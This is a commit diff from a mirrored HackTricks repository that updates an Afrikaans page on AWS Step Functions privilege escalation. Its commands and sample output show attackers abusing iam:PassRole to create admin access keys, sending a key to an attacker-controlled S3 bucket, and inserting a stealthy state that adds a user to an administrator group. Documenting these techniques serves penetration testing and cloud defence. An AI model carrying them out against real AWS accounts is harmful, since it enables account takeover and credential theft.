mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+27
-27
@@ -10,26 +10,26 @@ Vir meer inligting oor hierdie AWS-diens, sien:
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Task Resources
|
||||
### Taakbronne
|
||||
|
||||
Hierdie privilege escalation-tegnieke vereis die gebruik van sekere AWS Step Functions resources om die verlangde privilege escalation-aksies uit te voer.
|
||||
Hierdie privilege escalation tegnieke vereis die gebruik van sekere AWS Step Functions-bronne om die verlangde privilege escalation-aksies uit te voer.
|
||||
|
||||
Om alle moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters sien wat dit gebruik, soos in:
|
||||
Om al die moontlike aksies na te gaan, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters sien wat dit gebruik, soos in:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Of jy kan ook na die API AWS-dokumentasie gaan en elke aksie se dokumentasie nagaan:
|
||||
Of jy kan ook na die API AWS-dokumentasie gaan en die dokumentasie van elke aksie nagaan:
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
'n Aanvaller met die **`states:TestState`**- en **`iam:PassRole`**-permitte kan enige state toets en enige IAM role aan dit deurgee sonder om 'n bestaande state machine te skep of by te werk, wat moontlik ongeoorloofde toegang tot ander AWS-dienste met die role se permissies kan moontlik maak. Gecombineer kan hierdie permissies lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van workflows en die verandering van data tot data-oortredings, hulpbronmanipulasie en privilege escalation.
|
||||
'n aanvaller met die **`states:TestState`**- en **`iam:PassRole`**-toestemmings kan enige staat toets en enige IAM-rol daaraan deurgee sonder om 'n bestaande state machine te skep of by te werk, wat moontlik ongemagtigde toegang tot ander AWS-dienste met die rol se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongemagtigde aksies, van die manipulasie van workflows en die wysiging van data tot data-oortredings, bronmanipulasie en privilege escalation.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Die volgende voorbeelde wys hoe om 'n state te toets wat 'n access key vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie permissies en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet aan 'n hooggeprivilegieerde beleid gekoppel wees (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die state toelaat om die **`iam:CreateAccessKey`** aksie uit te voer:
|
||||
Die volgende voorbeelde wys hoe om 'n state te toets wat 'n access key vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie permissies en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet 'n hoogs-privilegieerde beleid daarmee geassosieer hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die state toelaat om die **`iam:CreateAccessKey`** aksie uit te voer:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -42,7 +42,7 @@ Die volgende voorbeelde wys hoe om 'n state te toets wat 'n access key vir die *
|
||||
"End": true
|
||||
}
|
||||
```
|
||||
- **Kommando** uitgevoer om die privesc uit te voer:
|
||||
- **Command** uitgevoer om die privesc uit te voer:
|
||||
```bash
|
||||
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
|
||||
|
||||
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**Potensiële impak**: Ongeoorloofde uitvoering en manipulasie van werkstrome en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsinbreuke kan lei.
|
||||
**Potensiële impak**: Ongemagtigde uitvoering en manipulasie van workflows en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsbreuke kan lei.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
'n Aanvaller met die **`states:CreateStateMachine`** en **`iam:PassRole`** kan 'n staatmasjien skep en enige IAM-rol daaraan toewys, wat ongemagtigde toegang tot ander AWS-dienste met die rol se magtigings moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie op sy eie uit nie — jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard-workflows nie**, **slegs vir express state machines**) om 'n uitvoering van die staatmasjien te begin.
|
||||
'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sou 'n staatmasjien kon skep en daaraan enige IAM role toewys, wat ongemagtigde toegang tot ander AWS-dienste met die rolle se permissies moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie — jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** permissies nodig hê (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) om 'n uitvoering oor die staatmasjien te begin.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
|
||||
# Start a state machine execution
|
||||
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
Die volgende voorbeelde wys hoe om 'n state machine te skep wat 'n access key vir die **`admin`** gebruiker skep en hierdie access key na 'n deur die aanvaller beheerde S3-bucket exfiltreer, deur gebruik te maak van hierdie permissies en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet 'n hooggeprivilegieerde beleid hê wat daaraan gekoppel is (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) en wat die state machine toelaat om die **`iam:CreateAccessKey`** en **`s3:putObject`** aksies uit te voer.
|
||||
Die volgende voorbeelde wys hoe om 'n state machine te skep wat 'n access key vir die **`admin`** gebruiker skep en hierdie access key exfiltrates na 'n aanvaller-beheerde S3 bucket, deur gebruik te maak van hierdie toestemmings en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet enige hooggeprivilegieerde beleid geassosieer hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die state machine toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -115,7 +115,7 @@ Die volgende voorbeelde wys hoe om 'n state machine te skep wat 'n access key vi
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Opdrag** uitgevoer om **die toestandsmasjien te skep**:
|
||||
- **Bevel** uitgevoer om **die staatmasjien te skep**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
|
||||
"creationDate": "2024-07-09T20:29:35.381000+02:00"
|
||||
}
|
||||
```
|
||||
- **Opdrag** uitgevoer om **'n uitvoering te begin** van die voorheen geskepte state machine:
|
||||
- **Command** uitgevoer om **'n uitvoering te begin** van die voorheen geskepte staatmasjien:
|
||||
```json
|
||||
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
|
||||
{
|
||||
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Die aanvaller-beheerde S3 bucket moet toestemmings hê om 'n s3:PutObject-aksie van die slagoffer-rekening te aanvaar.
|
||||
> Die deur die aanvaller beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject-aksie van die slagofferrekening te aanvaar.
|
||||
|
||||
**Potensiële impak**: Ongeauthorizeerde uitvoering en manipulasie van werkstrome en toegang tot sensitiewe hulpbronne, wat moontlik tot betekenisvolle sekuriteitsinbreuke kan lei.
|
||||
**Potensiële impak**: Ongeoorloofde uitvoering en manipulasie van workflows en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsbreuke kan lei.
|
||||
|
||||
### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
|
||||
### `states:UpdateStateMachine` & (nie altyd vereis nie) `iam:PassRole`
|
||||
|
||||
'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sou die definisie van 'n state machine kan wysig en ekstra sluipende states kan byvoeg wat tot 'n privilege escalation kan lei. Op hierdie manier, wanneer 'n regmatige gebruiker 'n uitvoering van die state machine begin, sal hierdie nuwe kwaadwillige sluip-state uitgevoer word en sal die privilege escalation suksesvol wees.
|
||||
'n Aanvaller met die **`states:UpdateStateMachine`**-toestemming kan die definisie van 'n state machine wysig en ekstra onopvallende states byvoeg wat tot 'n privilege escalation kan lei. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die state machine begin, sal hierdie nuwe kwaadwillige onopvallende staat uitgevoer word en sal die privilege escalation suksesvol wees.
|
||||
|
||||
Afhangend van hoe permissief die IAM Role wat aan die state machine gekoppel is is, sal 'n aanvaller twee situasies teëkom:
|
||||
Afhangend van hoe toegeeflik die IAM Role wat aan die state machine gekoppel is, is, sal 'n aanvaller twee situasies teëkom:
|
||||
|
||||
1. **Permissief IAM Role**: Indien die IAM Role wat aan die state machine gekoppel is reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie benodig word om privileges op te skerp nie, aangesien dit nie nodig is om ook die IAM Role te wysig nie; die state machine definisie alleen is genoeg.
|
||||
2. **Nie-permissief IAM Role**: In teenstelling met die vorige geval, sal 'n aanvaller hier ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissief IAM Role aan die state machine toe te ken, benewens die wysiging van die state machine definisie.
|
||||
1. **Toegeeflike IAM Role**: As die IAM Role wat aan die state machine gekoppel is reeds toegeeflik is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`**-toestemming nie benodig word om privileges te eskaleer nie, aangesien dit nie nodig sou wees om ook die IAM Role te wysig nie; die state machine-definisie alleen is genoeg.
|
||||
2. **Nie-toegeeflike IAM Role**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`**-toestemming benodig aangesien dit nodig sal wees om 'n toegeeflike IAM Role aan die state machine te koppel benewens om die state machine-definisie te wysig.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
Die volgende voorbeelde wys hoe om 'n legitieme staatmasjien wat net 'n HelloWorld Lambda funksie aanroep, by te werk sodat 'n ekstra toestand bygevoeg word wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM Group voeg. Op hierdie manier, wanneer 'n legitieme gebruiker 'n uitvoering van die opgedateerde staatmasjien begin, sal hierdie nuwe kwaadwillige onopvallende toestand uitgevoer word en sal die privilege escalation suksesvol wees.
|
||||
Die volgende voorbeelde wys hoe om 'n legitieme state machine wat net 'n HelloWorld Lambda function aanroep, op te dateer om 'n ekstra state by te voeg wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM Group voeg. Op hierdie manier, wanneer 'n legitieme gebruiker 'n uitvoering van die opgedateerde state machine begin, sal hierdie nuwe kwaadwillige stealth-state uitgevoer word en sal die privilege escalation suksesvol wees.
|
||||
|
||||
> [!WARNING]
|
||||
> As die state machine nie 'n permissiewe IAM Role geassosieer het nie, sal die **`iam:PassRole`** toestemming ook vereis wees om die IAM Role op te dateer sodat 'n permissiewe IAM Role geassosieer kan word (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg).
|
||||
> As die state machine nie 'n permissiewe IAM Role geassosieer het nie, sal die **`iam:PassRole`** permissie ook benodig word om die IAM Role op te dateer sodat 'n permissiewe IAM Role geassosieer kan word (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** policy aangeheg).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
@@ -218,7 +218,7 @@ Die volgende voorbeelde wys hoe om 'n legitieme staatmasjien wat net 'n HelloWor
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
- **Kommando** uitgevoer om **werk by** **die legitieme toestandsmasjien**:
|
||||
- **Opdrag** uitgevoer om **by te werk** **die legitieme staatmasjien**:
|
||||
```bash
|
||||
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user